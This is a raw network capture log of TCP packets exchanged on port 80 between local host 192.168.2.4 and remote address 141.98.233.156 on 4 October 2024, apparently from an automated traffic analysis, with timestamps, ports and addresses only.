Oct 4, 2024 09:52:35.774307013 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.774328947 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.774336100 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.774337053 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.774367094 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.774368048 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.774385929 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.774399996 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.774415970 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.774430037 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.774461985 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.774475098 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.774490118 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.774517059 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.774521112 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.774545908 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.774552107 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.774568081 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.774584055 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.774596930 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.774616003 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.774629116 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.774657011 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.774667025 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.774689913 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.774703979 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.774720907 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.774732113 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.774754047 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.774764061 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.774785995 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.774797916 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.774820089 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.774841070 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.774852037 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.774873972 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.774883986 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.774914980 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.774916887 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.774929047 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.774957895 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.859255075 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.859277010 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.859285116 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.859298944 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.859306097 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.859313965 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.859321117 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.859334946 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.859533072 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.859548092 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.859561920 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.859575987 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.859590054 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.859602928 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.859616995 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.859641075 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.859641075 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.859641075 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.859673023 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.871726036 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.871740103 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.871752977 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.871814966 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.871999979 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.872020960 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.872035027 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.872050047 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.872065067 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.872078896 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.872093916 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.872107983 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.872123003 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.872137070 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.872145891 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.872150898 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.872165918 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.872174978 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.872180939 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.872195959 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.872219086 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.872400999 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.872414112 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.872427940 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.872442007 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.872452021 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.872459888 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.872490883 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.872519970 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.872534037 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.872546911 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.872559071 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.872562885 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.872576952 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.872577906 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.872584105 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.872591972 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.872601032 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.872606039 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.872617006 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.872621059 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.872623920 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.872639894 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.872648001 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.872654915 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.872654915 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.872675896 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.872675896 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.873279095 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.873300076 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.873313904 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.873322010 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.873327971 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.873328924 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.873342037 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.873351097 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.873356104 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.873357058 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.873372078 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.873378038 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.873385906 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.873389959 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.873402119 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.873409033 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.873415947 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.873426914 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.873430967 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.873445034 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.873451948 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.873459101 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.873465061 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.873473883 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.873487949 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.873496056 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.873496056 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.873502016 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.873517990 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.873523951 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.873533964 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.873542070 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.873548985 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.873553038 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.873564959 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.873570919 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.873588085 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.873593092 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.874360085 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.874373913 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.874396086 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.874408007 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.874420881 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.874430895 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.874433994 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.874444008 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.874444008 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.874449015 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.874450922 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.874464035 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.874468088 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.874476910 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.874479055 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.874492884 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.874495983 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.874504089 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.874507904 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.874522924 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.874525070 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.874536037 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.874536037 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.874552965 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.874562025 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.874576092 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.874578953 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.874588013 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.874591112 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.874605894 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.874608994 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.874614000 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.874622107 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.874635935 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.874638081 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.874651909 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.874655962 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.874665976 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.874666929 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.874681950 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.874684095 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.874694109 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.874713898 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.875056982 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.875072002 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.875086069 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.875097036 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.875101089 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.875114918 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.875114918 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.875119925 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.875130892 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.875140905 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.875144958 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.875145912 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.875166893 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.875174046 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.875212908 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.875227928 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.875241041 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.875256062 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.875256062 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.875262022 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.875271082 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.875281096 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.875287056 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.875287056 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.875303030 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.875304937 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.875312090 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.875317097 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.875333071 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.875335932 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.875344992 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.875348091 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.875361919 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.875363111 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.875377893 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.875380993 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.875396013 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.875399113 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.875411034 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.875416994 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.875437021 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.875442982 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.875894070 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.875936985 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.949561119 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.949578047 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.949593067 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.949606895 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.949620962 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.949624062 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.949634075 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.949647903 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.949650049 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.949680090 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.949882030 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.949896097 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.949909925 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.949915886 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.949924946 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.949939013 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.949948072 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.949951887 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.949966908 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.949974060 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.949990988 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.950012922 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.960140944 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.960200071 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.960289955 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.960305929 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.960320950 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.960326910 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.960335970 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.960344076 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.960350990 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.960356951 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.960366011 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.960372925 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.960381985 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.960390091 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.960402966 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.960422039 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.960617065 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.960632086 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.960644960 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.960652113 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.960669041 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.960670948 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.960683107 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.960685968 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.960697889 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.960699081 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.960712910 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.960712910 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.960727930 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.960728884 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.960743904 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.960745096 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.960758924 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.960758924 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.960778952 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.960789919 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.961045980 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.961060047 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.961072922 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.961086988 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.961088896 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.961102009 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.961108923 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.961116076 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.961133003 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.961133957 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.961147070 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.961155891 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.961162090 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.961174965 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.961182117 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.961205959 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.961400032 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.961415052 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.961427927 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.961433887 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.961451054 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.961457968 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.961464882 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.961478949 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.961482048 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.961493969 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.961508989 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.961509943 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.961524963 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.961534023 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.961539030 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.961549044 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.961555004 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.961574078 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.961586952 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.961875916 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.961889982 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.961904049 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.961908102 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.961918116 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.961932898 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.961946964 CEST	80	49745	141.98.233.156	192.168.2.4
